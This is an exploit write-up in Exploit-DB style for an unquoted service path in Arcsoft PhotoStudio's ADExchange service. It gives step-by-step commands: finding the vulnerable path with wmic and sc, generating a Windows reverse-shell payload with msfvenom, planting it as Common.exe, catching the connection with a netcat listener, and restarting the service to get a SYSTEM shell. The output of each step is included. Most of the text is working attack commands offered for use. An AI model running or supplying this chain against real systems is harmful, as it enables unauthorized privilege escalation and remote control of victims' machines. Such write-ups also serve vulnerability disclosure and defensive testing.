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# #
# Exploit Title: Arcsoft PhotoStudio 6.0.0.172 - Unquoted Service Path #
# Date: 2023/04/22 #
# Exploit Author: msd0pe #
# Vendor Homepage: https://www.arcsoft.com/ #
# My Github: https://github.com/msd0pe-1 #
# #
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Arcsoft PhotoStudio:
Versions =< 6.0.0.172 contains an unquoted service path which allows attackers to escalate privileges to the system level.
[1] Find the unquoted service path:
> wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
ArcSoft Exchange Service ADExchange C:\Program Files (x86)\Common Files\ArcSoft\esinter\Bin\eservutil.exe Auto
[2] Get informations about the service:
> sc qc "ADExchange"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: ADExchange
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Program Files (x86)\Common Files\ArcSoft\esinter\Bin\eservutil.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : ArcSoft Exchange Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
[3] Generate a reverse shell:
> msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f exe -o Common.exe
[4] Upload the reverse shell to C:\Program Files (x86)\Common.exe
> put Commom.exe
> ls
drw-rw-rw- 0 Sun Apr 23 04:10:25 2023 .
drw-rw-rw- 0 Sun Apr 23 04:10:25 2023 ..
drw-rw-rw- 0 Sun Apr 23 03:55:37 2023 ArcSoft
drw-rw-rw- 0 Sun Apr 23 03:55:36 2023 Common Files
-rw-rw-rw- 7168 Sun Apr 23 04:10:25 2023 Common.exe
-rw-rw-rw- 174 Sun Jul 24 08:12:38 2022 desktop.ini
drw-rw-rw- 0 Sun Apr 23 03:55:36 2023 InstallShield Installation Information
drw-rw-rw- 0 Thu Jul 28 13:00:04 2022 Internet Explorer
drw-rw-rw- 0 Sun Jul 24 07:27:06 2022 Microsoft
drw-rw-rw- 0 Sun Jul 24 08:18:13 2022 Microsoft.NET
drw-rw-rw- 0 Sat Apr 22 05:48:20 2023 Windows Defender
drw-rw-rw- 0 Sat Apr 22 05:46:44 2023 Windows Mail
drw-rw-rw- 0 Thu Jul 28 13:00:04 2022 Windows Media Player
drw-rw-rw- 0 Sun Jul 24 08:18:13 2022 Windows Multimedia Platform
drw-rw-rw- 0 Sun Jul 24 08:18:13 2022 Windows NT
drw-rw-rw- 0 Fri Oct 28 05:25:41 2022 Windows Photo Viewer
drw-rw-rw- 0 Sun Jul 24 08:18:13 2022 Windows Portable Devices
drw-rw-rw- 0 Sun Jul 24 08:18:13 2022 Windows Sidebar
drw-rw-rw- 0 Sun Jul 24 08:18:13 2022 WindowsPowerShell
[5] Start listener
> nc -lvp 4444
[6] Reboot the service/server
> sc stop "ADExchange"
> sc start "ADExchange"
OR
> shutdown /r
[7] Enjoy !
192.168.1.102: inverse host lookup failed: Unknown host
connect to [192.168.1.101] from (UNKNOWN) [192.168.1.102] 51309
Microsoft Windows [Version 10.0.19045.2130]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
